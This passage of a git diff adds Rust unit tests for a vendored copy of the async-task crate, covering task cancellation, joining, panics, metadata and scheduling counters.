assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn cancel_and_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn run_and_cancel() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn cancel_join() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + assert!(try_await(&mut task).is_none()); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(try_await(&mut task).is_some()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn schedule() { + let (s, r) = flume::unbounded(); + let schedule = move |runnable| s.send(runnable).unwrap(); + let (runnable, _task) = async_task::spawn(future::poll_fn(|_| Poll::<()>::Pending), schedule); + + assert!(r.is_empty()); + runnable.schedule(); + + let runnable = r.recv().unwrap(); + assert!(r.is_empty()); + runnable.schedule(); + + let runnable = r.recv().unwrap(); + assert!(r.is_empty()); + runnable.schedule(); + + r.recv().unwrap(); +} + +#[test] +fn schedule_counter() { + static COUNT: AtomicUsize = AtomicUsize::new(0); + + let (s, r) = flume::unbounded(); + let schedule = move |runnable: Runnable| { + COUNT.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + let (runnable, _task) = async_task::spawn(future::poll_fn(|_| Poll::<()>::Pending), schedule); + runnable.schedule(); + + r.recv().unwrap().schedule(); + r.recv().unwrap().schedule(); + assert_eq!(COUNT.load(Ordering::SeqCst), 3); + r.recv().unwrap(); +} + +#[test] +fn drop_inside_schedule() { + struct DropGuard(AtomicUsize); + impl Drop for DropGuard { + fn drop(&mut self) { + self.0.fetch_add(1, Ordering::SeqCst); + } + } + let guard = DropGuard(AtomicUsize::new(0)); + + let (runnable, _) = async_task::spawn(async {}, move |runnable| { + assert_eq!(guard.0.load(Ordering::SeqCst), 0); + drop(runnable); + assert_eq!(guard.0.load(Ordering::SeqCst), 0); + }); + runnable.schedule(); +} + +#[test] +fn waker() { + let (s, r) = flume::unbounded(); + let schedule = move |runnable| s.send(runnable).unwrap(); + let (runnable, _task) = async_task::spawn(future::poll_fn(|_| Poll::<()>::Pending), schedule); + + assert!(r.is_empty()); + let waker = runnable.waker(); + runnable.run(); + waker.wake_by_ref(); + + let runnable = r.recv().unwrap(); + runnable.run(); + waker.wake(); + r.recv().unwrap(); +} + +#[test] +fn raw() { + // Dispatch schedules a function for execution at a later point. For tests, we execute it straight away. + fn dispatch(trampoline: extern "C" fn(NonNull<()>), context: NonNull<()>) { + trampoline(context) + } + extern "C" fn trampoline(runnable: NonNull<()>) { + let task = unsafe { Runnable::<()>::from_raw(runnable) }; + task.run(); + } + + let task_got_executed = Arc::new(AtomicBool::new(false)); + let (runnable, _handle) = async_task::spawn( + { + let task_got_executed = task_got_executed.clone(); + async move { task_got_executed.store(true, Ordering::SeqCst) } + }, + |runnable: Runnable<()>| dispatch(trampoline, runnable.into_raw()), + ); + runnable.schedule(); + + assert!(task_got_executed.load(Ordering::SeqCst)); +} diff --git a/lib/malio/async-task/tests/cancel.rs b/lib/malio/async-task/tests/cancel.rs new file mode 100644 index 0000000..0333367 --- /dev/null +++ b/lib/malio/async-task/tests/cancel.rs @@ -0,0 +1,183 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP_F, DROP_T)` +// +// The future `f` outputs `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP_F` is incremented. +// When the output gets dropped, `DROP_T` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop_f:ident, $drop_t:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop_f: AtomicUsize = AtomicUsize::new(0); + static $drop_t: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Out; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + Poll::Ready(Out(Box::new(0), true)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop_f.fetch_add(1, Ordering::SeqCst); + } + } + + #[derive(Default)] + struct Out(#[allow(dead_code)] Box, bool); + + impl Drop for Out { + fn drop(&mut self) { + if self.1 { + $drop_t.fetch_add(1, Ordering::SeqCst); + } + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |runnable: Runnable| { + let _ = &guard; + runnable.schedule(); + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn run_and_cancel() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(future::block_on(task.cancel()).is_some()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn cancel_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + runnable.run(); + + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + assert!(future::block_on(task.cancel()).is_none()); + + thread::sleep(ms(200)); + + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn cancel_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + + thread::sleep(ms(200)); + + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + assert!(future::block_on(task.cancel()).is_none()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} diff --git a/lib/malio/async-task/tests/join.rs b/lib/malio/async-task/tests/join.rs new file mode 100644 index 0000000..089b5c1 --- /dev/null +++ b/lib/malio/async-task/tests/join.rs @@ -0,0 +1,386 @@ +use std::cell::Cell; +use std::future::Future; +use std::panic::{catch_unwind, AssertUnwindSafe}; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP_F, DROP_T)` +// +// The future `f` outputs `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP_F` is incremented. +// When the output gets dropped, `DROP_T` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop_f:ident, $drop_t:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop_f: AtomicUsize = AtomicUsize::new(0); + static $drop_t: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Out; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + Poll::Ready(Out(Box::new(0), true)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop_f.fetch_add(1, Ordering::SeqCst); + } + } + + #[derive(Default)] + struct Out(#[allow(dead_code)] Box, bool); + + impl Drop for Out { + fn drop(&mut self) { + if self.1 { + $drop_t.fetch_add(1, Ordering::SeqCst); + } + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |runnable: Runnable| { + let _ = &guard; + runnable.schedule(); + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn drop_and_join() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + drop(runnable); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); +} + +#[test] +fn run_and_join() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_ok()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); +} + +#[test] +fn detach_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + task.detach(); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); +} + +#[test] +fn join_twice() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + future::block_on(&mut task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + assert!(catch_unwind(AssertUnwindSafe(|| future::block_on(&mut task))).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + task.detach(); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn join_and_cancel() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + drop(runnable); + + thread::sleep(ms(400)); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + + thread::sleep(ms(200)); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn join_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(400)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + future::block_on(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_and_run_and_join() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(400)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + future::block_on(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_and_cancel_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + }) + .run(); +} + +#[test] +fn try_join_and_run_and_cancel() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + }) + .add(|| { + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(400)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn await_output() { + struct Fut(Cell>); + + impl Fut { + fn new(t: T) -> Fut { + Fut(Cell::new(Some(t))) + } + } + + impl Future for Fut { + type Output = T; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + Poll::Ready(self.0.take().unwrap()) + } + } + + for i in 0..10 { + let (runnable, task) = async_task::spawn(Fut::new(i), drop); + runnable.run(); + assert_eq!(future::block_on(task), i); + } + + for i in 0..10 { + let (runnable, task) = async_task::spawn(Fut::new(vec![7; i]), drop); + runnable.run(); + assert_eq!(future::block_on(task), vec![7; i]); + } + + let (runnable, task) = async_task::spawn(Fut::new("foo".to_string()), drop); + runnable.run(); + assert_eq!(future::block_on(task), "foo"); +} diff --git a/lib/malio/async-task/tests/metadata.rs b/lib/malio/async-task/tests/metadata.rs new file mode 100644 index 0000000..d3d8d53 --- /dev/null +++ b/lib/malio/async-task/tests/metadata.rs @@ -0,0 +1,58 @@ +use async_task::{Builder, Runnable}; +use flume::unbounded; +use smol::future; + +use std::sync::atomic::{AtomicUsize, Ordering}; + +#[test] +fn metadata_use_case() { + // Each future has a counter that is incremented every time it is scheduled. + let (sender, receiver) = unbounded::>(); + let schedule = move |runnable: Runnable| { + runnable.metadata().fetch_add(1, Ordering::SeqCst); + sender.send(runnable).ok(); + }; + + async fn my_future(counter: &AtomicUsize) { + loop { + // Loop until we've been scheduled five times. + let count = counter.load(Ordering::SeqCst); + if count < 5 { + // Make sure that we are immediately scheduled again. + future::yield_now().await; + continue; + } + + // We've been scheduled five times, so we're done. + break; + } + } + + let make_task = || { + // SAFETY: We are spawning a non-'static future, so we need to use the unsafe API. + // The borrowed variables, in this case the metadata, are guaranteed to outlive the runnable. + let (runnable, task) = unsafe { + Builder::new() + .metadata(AtomicUsize::new(0)) + .spawn_unchecked(my_future, schedule.clone()) + }; + + runnable.schedule(); + task + }; + + // Make tasks. + let t1 = make_task(); + let t2 = make_task(); + + // Run the tasks. + while let Ok(runnable) = receiver.try_recv() { + runnable.run(); + } + + // Unwrap the tasks. + smol::future::block_on(async move { + t1.await; + t2.await; + }); +} diff --git a/lib/malio/async-task/tests/panic.rs b/lib/malio/async-task/tests/panic.rs new file mode 100644 index 0000000..726e385 --- /dev/null +++ b/lib/malio/async-task/tests/panic.rs @@ -0,0 +1,234 @@ +use std::future::Future; +use std::panic::catch_unwind; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP)` +// +// The future `f` sleeps for 200 ms and then panics. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = (); + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + panic!() + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |_runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn cancel_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + }) + .run(); +} + +#[test] +fn run_and_join() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn try_join_and_run_and_join() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + future::block_on(future::or(&mut task, future::ready(()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn join_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + future::block_on(future::or(&mut task, future::ready(()))); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + 